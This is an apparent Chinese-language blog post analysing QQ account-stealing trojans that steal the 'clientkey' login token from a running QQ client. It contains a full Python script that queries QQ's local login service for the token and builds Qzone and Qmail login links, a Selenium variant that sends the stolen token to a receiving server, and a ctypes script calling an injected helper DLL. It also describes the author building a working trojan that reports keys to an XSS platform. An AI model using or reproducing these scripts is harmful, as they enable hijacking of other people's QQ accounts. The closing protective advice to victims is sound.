QQ盗号木马原理分析

前言

本人在14年时就对盗号的路子有些研究,因为那时很喜欢恶搞别人。而当时最简单的就是用易语言写的发信收信钓鱼软件,门槛极低。而本文并不是研究这种钓软或鱼站的原理,因为类似的这种手段都是诱骗鱼儿直接把账号密码送给别人,所以没什么好研究的,要再研究的话我个人觉得就要深入到心理学的方面了。那么这里研究的就是那种,我明明没有在哪里输入过QQ账号密码,但就是被别人控制了,甚至改密码后不一会又中招。这里讲到的,在没有泄露QQ账号密码,QQ却被玩弄于鼓掌的技术,我就简单地叫做QQkey利用。

QQkey

从名字不难看出QQkey到底是个什么东西。所谓QQkey就是QQ的一个临时密码,相当于第二把钥匙。有了它就有了QQ的大部分权限了。
这里再提到一个东西—Skey。这是本人接触的最早的关于QQkey利用的一个部分。
我们现在打开QQ空间登录QQ后可以看到cookie里边就有一个叫skey的键值对。

在14年,只要有了这个skey和对应的QQ号,就可以突破限制直接登录QQ空间。当时有一个人就写了一款skey突破利用工具,骗到了女神的skey,就可以干一些猥琐的事情。
至于思路就很多了。最简单的,可以用js获取cookie,也可以叫别人打开QQ空间的小助手然后把检测内容发你,内容里边就包含了cookie。
本人当时就很想研究其中的原理,然后写一个属于自己的木马。但限于技术水平就耽搁下来了。
到现在,这个方法早就失效了。但跟前面提到的,skey只属于qqkey的一部分,所以真正的毒瘤不是skey,而是clientkey。

Clientkey

可以说,clientkey的别名就是qqkey,它比skey权限更大,可以干更多的事情。
现在就说说为什么存在这东西吧。我们都知道腾讯有一个快速登录的功能,在登录腾讯的网页产品时使用快速登录就不用输入账号密码了。那么设计这样一个不用输入账号密码就可以登录的功能,是为了快速安全还是为了快速方便呢?

首先快速登录功能的前提就是在电脑上登录了QQ,在设计这个功能时要考虑的就是web端如何与本地QQ进行通信以便获取电脑上登录的QQ。
在最初时腾讯是使用Activex控件来获取电脑上登录的QQ,但是必须要浏览器启用控件才行,而且ie默认是禁用Activex控件的,所以适用性不是很强。
后来腾讯改用在本地建立一个httpd服务来进行通信,也就是说QQ应用程序自带了一个小型的web服务。
我们打开一个快速登录,F12查看网络监视器,可以看到一个这样的包。

看到远程地址是指向了本地。然后发现本地确实在监听4301端口。

响应里边包含了本机登录QQ号的一些信息。

1
var var_sso_uin_list=[{"uin":QQ号,"face_index":0,"gender":2,"nickname":"登录QQ号的名称","client_type":65793,"uin_flag":55083590,"account":QQ号}];ptui_getuins_CB(var_sso_uin_list);

接下来点击头像进行快速登录,继续观察网络连接状况。
发现再次请求了本地并返回cookies。

cookie里就包含了clientkey,然后会有一个跳转。

这个跳转响应中包含了许多的cookie并且返回了一个url,直接访问这个url即可等登录到目标站点。

1
ptui_qlogin_CB('0', 'https://ptlogin2.buluo.qq.com/check_sig?pttype=2&uin=948375961&service=jump&nodirect=0&ptsigx=c0dd7***省略***8393441c77b1&s_url=https%3A%2F%2Fbuluo.qq.com%2F&f_url=&ptlang=2052&ptredirect=100&aid=1000101&daid=371&j_later=0&low_login_hour=0&regmaster=0&pt_login_type=2&pt_aid=715030901&pt_aaid=0&pt_light=0&pt_3rd_aid=0', '')

我们理一下这个快速登录过程。
首先是第一次访问本地,获取到了本地登录的QQ号,而第二次是携带QQ号去访问本地,就可以获取到对应QQ号的clientkey,这时带着clientkey和对应QQ号去请求腾讯的这个跳转页面,就可以登录到跳转的目标站点。
所以这个跳转就是clientkey的一个认证,通过了就可以帮你登录到目标站点。那么,我们只要拿到QQ号和对应的clientkey就可以通过这个认证跳转去登录腾讯的许多站点以及带有QQ登录的一些站点。而skey只能登录QQ空间。。。
为了验证这个说法,我测试了QQ空间的快速登录,把带着clientkey去请求得到的url发给朋友。然后朋友就进了我的QQ空间,为了测试权限,我的空间就多了一条“大傻逼”的说说。。。我尝试退出QQ客户端,但是链接仍然有效,我还没测试出让它失效的方法,网友都说改密码才行。

接下来我们就去复现它。
说实话复现这个并不难,只要模拟会话访问就可以了。。。
这里贴一份github上的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import requests
import re


class QQLogin:
def __init__(self):
self.session = None # login session
self.headers = {
'Host': 'localhost.ptlogin2.qq.com:',
'Connection': 'keep-alive',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36',
'Accept': '*/*',
'Referer': 'https://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=https%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=https%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html&pt_no_auth=0',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
}
self.port = None # listen port
self.qqnumber = None # qqnumber
self.nickname = None # nickname

'''
Get QQ account
@return true for get success
'''

def GetAccount(self):
self.session = requests.Session()
self.session.cookies.set('pt_local_token','1234567890', domain='ptlogin2.qq.com')
ret = False
for self.port in range(4300, 4309): # qq local server
try:
self.headers['Host'] = 'localhost.ptlogin2.qq.com:' + str(self.port)
req = self.session.get('https://localhost.ptlogin2.qq.com:'+str(self.port) +
'/pt_get_uins?callback=ptui_getuins_CB&r=0.9899515903716838&pt_local_tk=' +
self.session.cookies['pt_local_token'], headers=self.headers)
self.qqnumber = re.search(r'uin":"([0-9]*)"', req.text).group(1)
self.nickname = re.search(r'nickname":"(.*?)"', req.text).group(1)

self.session.get('https://localhost.ptlogin2.qq.com:'+str(self.port)+'/pt_get_st?clientuin='+self.qqnumber +
'&callback=ptui_getst_CB&r=0.9899515903716838&pt_local_tk='+self.session.cookies['pt_local_token'], headers=self.headers)
ret = True
break
except:
continue
return ret

'''
Get qzone login key
@return login key, None for error
'''

def LoginQzone(self):
return self.__Login('pt_aid=549000912&daid=5&u1=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone')

'''
Get qmail login key
@return login key, None for error
'''
def LoginQmail(self):
return self.__Login('pt_aid=522005705&daid=4&u1=https%3A%2F%2Fmail.qq.com%2Fcgi-bin%2Freadtemplate%3Fcheck%3Dfalse%26t%3Dloginpage_new_jump%26vt%3Dpassport%26vm%3Dwpt%26ft%3Dloginpage%26target%3D')

'''
Universe login method
'''
def __Login(self,url):
try:
self.session.get('https://localhost.ptlogin2.qq.com:'+str(self.port)+'/pt_get_st?clientuin='+self.qqnumber +
'&callback=ptui_getst_CB&r=0.9899515903716838&pt_local_tk='+self.session.cookies['pt_local_token'], headers=self.headers)
self.headers['Host'] = 'ssl.ptlogin2.qq.com'
req = self.session.get('https://ssl.ptlogin2.qq.com/jump?clientuin='+self.qqnumber +
'&keyindex=9&'+url+'&pt_local_tk=' +self.session.cookies['pt_local_token']+'&pt_3rd_aid=0&ptopt=1&style=40', headers=self.headers)
return re.search(r"_CB\('0', '(.*?)'", req.text).group(1)
except:
return None


if __name__ == '__main__':
obj = QQLogin()
obj.GetAccount()
print('QQKey:' + obj.session.cookies.get_dict()['clientkey']+'\n')
print('Cookie: ' + ('; '.join(['='.join(item) for item in obj.session.cookies.get_dict().items()])))
if(input('Auto get url?(y/n)')=='y'):
print('Qzone:')
print(obj.LoginQzone())
print('Qmail:')
print(obj.LoginQmail())

这里说几点:

  1. 第一次访问本地的pt_local_tk参数需要和cookie中的pt_local_token相同
  2. 请求本地时要带有 https://xui.ptlogin2.qq.com/ 这个域的Referer
  3. 本地QQ监听的端口是4300-4308,因为端口有可能被占用,然后奇数说明是https,而偶数则是http,但现在腾讯已经不用http了,所以我前面抓到的包是4301端口

好了,现在是不是很兴奋想去制作自己的盗号木马了。
然而在19年年底腾讯已经做出了限制。这个方法已经不适用了。本人在做复现时,网上的脚本全部都跑不了。用postman做模拟请求时,一个一模一样的包发送过去没有响应。抓包工具一开,快速登录就失效。后来在一篇文章中了解到腾讯在QQProtect.dll中加入了来源检测,也不说具体是什么。跟别人聊一下又说有HTTP双向认证,TLS指纹,证书锁定,以目前技术水平真过不了,而且还不确定是哪种限制。
但我仍然写了一个爬虫,用selenium来模拟浏览器访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from selenium import webdriver
import requests
import time

options = webdriver.ChromeOptions()
# options.add_experimental_option('excludeSwitches', ['enable-logging'])
options.add_argument('--headless')
options.add_argument('--disable-gpu')
options.add_argument('log-level=3')


browser = webdriver.Chrome(chrome_options=options,executable_path='chromedriver.exe')

browser.get(
"https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F")
# browser.find_element_by_css_selector("a.face:nth-child(2)").click()
pt_local_token = browser.get_cookie("pt_local_token")['value']
qqnumber = browser.find_element_by_css_selector("#qlogin_list > a.face").get_attribute("uin")
# print(qqnumber)
# print(pt_local_token)
browser.execute_script(
'window.location.href="https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin={}&callback=ptui_getst_CB&r=0.4266647630782271&pt_local_tk={}"'.format(
qqnumber, pt_local_token))
clientuin = browser.get_cookie('clientuin')['value']
clientkey = browser.get_cookie('clientkey')['value']

# print("http://ptlogin2.qq.com/jump?clientuin={}&clientkey={}&keyindex=9&pt_aid=549000912&daid=5&pt_qzone_sig=1&u1=http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone".format(clientuin,clientkey))

browser.quit()
browser.service.stop()
requests.get("http://127.0.0.1:5000/?clientuin={}&clientkey={}".format(clientuin,clientkey))

这里没有请求本地获取QQ号,而是直接访问QQ快速登录的面板,等它获取到后,通过css选择器去获取页面中的QQ号元素。
最后请求本地的5000端口是本人起了一个flask的web来接收结果。
然而这种方法弊端很大。如果要写成木马,就要有隐蔽性,本人用了pyinstaller打包时,费了不少劲才把调用浏览器的调试窗口给隐藏掉。但是当换一台机子运行就不行了,因为selenium要有对应版本的浏览器驱动,就算打包好,别人电脑也不一定对应版本的浏览器,所以这份代码适用性不强。

直接调用本地接口

虽然我们突破不了快速登陆的限制来获取clientkey,但是大佬们仍然还有别的路子—QQ应用程序中计算clientkey算法接口。

当我们从QQ面板进入QQ空间时也是不用密码的,如果细心一点可以发现,点击之后是经过一个跳转才登录QQ空间的。
登陆后的URL是这样的。

1
https://user.qzone.qq.com/QQ号/infocenter

我们在网址栏处按一下Ctrl+Z就可以得到跳转时的URL。

1
https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=948375961&clientkey=9868C3C*******42CEB7D30E7875&u1=https:%2F%2Fuser.qzone.qq.com%2F948375961%2Finfocenter&source=panelstar

clientkey又出现了,但是这个key和之前的不一样。
之前的key是224位的,这里出现的key是64位的。
这里码出两种key的利用方式。

1
2
http://ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=64位的KEY&u1=需要登陆的QQ服务网站地址
http://ptlogin2.qq.com/jump?clientuin=QQ号&clientkey=224位的KEY&keyindex=9&u1=需要登陆的QQ服务网站地址

他们的区别有什么,暂时还不知道,据说64位的key是权限最高的。
很明显64位的key就是在QQ的内存中。
直接贴出大佬的操作。
通过IDA附加定位到KernelUtil.dll中的?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z函数,至于怎么知道是这个大佬说已经忘了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
CTXStringW *__cdecl Util::Misc::GetSignature(CTXStringW *a1, int a2)
{
int v2; // eax
int v4; // [esp-14h] [ebp-14h]
int v5; // [esp-10h] [ebp-10h]
int v6; // [esp-Ch] [ebp-Ch]
int v7; // [esp-8h] [ebp-8h]

CTXStringW::CTXStringW(a1);
v5 = 0;
sub_55404A73(&v5);
if ( v5 )
{
v6 = 0;
if ( (*(int (__stdcall **)(int, int, int *))(*(_DWORD *)v5 + 60))(v5, a2, &v6) >= 0 )
{
v7 = 0;
sub_5536126A(&v7, v6);
v2 = Util::Encode::Encode16(&v4, &v7);
CTXStringW::operator=(a1, v2);
CTXStringW::~CTXStringW((CTXStringW *)&v4);
if ( v7 )
(*(void (__stdcall **)(int))(*(_DWORD *)v7 + 8))(v7);
}
sub_5540C87C(&v6);
}
sub_5540C87C(&v5);
return a1;
}

两个参数,a1指针应该是存放结果的缓存区,a2是传入参数的指针。
通过查看交叉引用发现有两个函数调用了它。

1
2
3
4
5
CTXStringW *__cdecl Util::Misc::Get32ByteValueAddedSign(CTXStringW *a1)
{
Util::Misc::GetSignature(a1, (int)"buf32ByteValueAddedSignature");
return a1;
}
1
2
3
4
5
CTXStringW *__cdecl Util::Misc::GetValueSTHttp(CTXStringW *a1)
{
Util::Misc::GetSignature(a1, (int)"bufSTHttp");
return a1;
}

调用方式都是一样的,不同的就是一个传入buf32ByteValueAddedSignature,而另一个传入bufSTHttp。
很明显,32byte返回的是64位的key,而http的就是224位的key。
下面看看开源的一份利用模块,使用易语言编写的动态链接库,需要配合DLL注入器使用。

再提一下,获取QQ号的函数是?GetSelfUin@Contact@Util@@YAKXZ,利用方法大同小异,看一下如何获取clientkey就行了。
用注入器将DLL注入到QQ的进程空间并建立线程运行后,就可以取到KernelUtil的API函数地址,然后通过shellcode注入来调用函数。

写一个函数给线程运行,这里请求了XSS平台来接收结果。

编译出DLL,然后再写一下注入器。

做了个循环,如果没有QQ进程就10s检测一次,获取一次后就等一分钟再获取。
DLL和注入器同目录,用小号做了下测试。

本来只想研究一下,没想到就自己写了个木马出来-.-
只要木马没被杀,即使改了密码也能实时更新clientkey,就差个更狠点的自启动了。
但是这个木马还要带个DLL就不是很方便,然后在论坛找到了这个大佬整合的模块,于是把模块反编译看看怎么写的。
这个模块提供了许多方法。不仅仅有获取QQkey的,还有获取好友,Q群,后台发送消息等等,一些小白都可以写出功能齐全的QQ辅助。
先看看怎么写的。
初始化时就取好各个函数地址。

实际上这个模块只是再封装一次而已。

这个初始化时加载的常量是一个图片资源但并不是一张图片,结合加载和取函数方法都是一个叫PELoader的模块里的,可以确定这个常量实际是一个DLL,采用了内存DLL载入的方法。

将这个DLL导出后用PE工具查看一下输出表。

所以这个DLL才是实际的主角。。。
然后我又用Python写了一份DLL的调用。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from ctypes import *
import psutil


def GetPidByName(Name):
pids = psutil.process_iter()
pidList = []
for pid in pids:
if pid.name() == Name:
pidList.append(pid.pid)
return pidList


Process_Name = "QQ.exe"
QQ_Pids = GetPidByName(Process_Name)
# print(QQ_Pids)
QQHelperDll = windll.LoadLibrary("QQHelperDLL.dll")
qq = QQHelperDll.getClientSelfUin(QQ_Pids[0])
clientkey_p = c_char_p(QQHelperDll.getClientkey(QQ_Pids[0]))
clientkey = clientkey_p.value.decode("utf8")
print(clientkey)
print("https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin={}&clientkey={}&u1=https://user.qzone.qq.com/{}/infocenter&source=panelstar".format(qq,clientkey,qq))

运行后,输出了跳转url。

1
https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=948375961&clientkey=53AB0361A9**********27ED73509D180B8612664C21A&u1=https://user.qzone.qq.com/948375961/infocenter&source=panelstar

测试完美可用。。。
好了我要改密码了。。因为这意味着,这份DLL才是主角。而我已经没有精力去分析它的行为了。我根本不知道这份DLL的作者有没有在里面做些什么手脚。。。防人之心不可无,还是希望大家都是以学习为研究目的吧,不要做太多猥琐事,你搞我我搞你的。

结尾

到这里相信大家很清楚了,防止QQ被盗不仅是谨慎输入账号密码这么简单。可以看到,网上已经提供了能后台操作QQ,功能丰富的模块。通过种种技术,整合到许多软件中。
为什么去网吧打一把大逃杀之后steam账号就被盗?您细品
对于没中招的朋友,不要随意运行不明来源的软件。中了招的朋友,重启电脑后进行病毒查杀并排除可疑软件,及时修改密码。
本文以本人的菜鸡水平讲述,若有错漏,不谨慎的地方请联系本人修改。
最后说一句,易语言牛逼~

文章作者: SNCKER
文章链接: https://sncker.github.io/blog/2020/01/19/QQ盗号思路及原理分析/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SNCKER's blog